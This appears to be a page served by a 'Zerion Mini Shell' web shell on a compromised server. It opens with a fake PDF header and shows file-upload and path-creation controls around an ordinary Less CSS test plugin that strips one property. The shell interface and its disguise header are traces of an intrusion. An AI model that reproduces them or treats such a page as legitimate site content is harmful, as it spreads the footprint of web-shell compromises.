%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/specpages-backup/node_modules/less/test/plugins/visitor/
Upload File :
Create Path :
Current File : //www/specpages-backup/node_modules/less/test/plugins/visitor/index.js

(function(exports) {
    var RemoveProperty = function(less) {
        this._visitor = new less.visitors.Visitor(this);
    };

    RemoveProperty.prototype = {
        isReplacing: true,
        run: function (root) {
            return this._visitor.visit(root);
        },
        visitDeclaration: function (ruleNode, visitArgs) {
            if (ruleNode.name != '-some-aribitrary-property') {
                return ruleNode;
            } else {
                return [];
            }
        }
    };

    exports.install = function(less, pluginManager) {
        pluginManager.addVisitor( new RemoveProperty(less));
    };

})(typeof exports === 'undefined' ? this['VisitorPlugin'] = {} : exports);

Zerion Mini Shell 1.0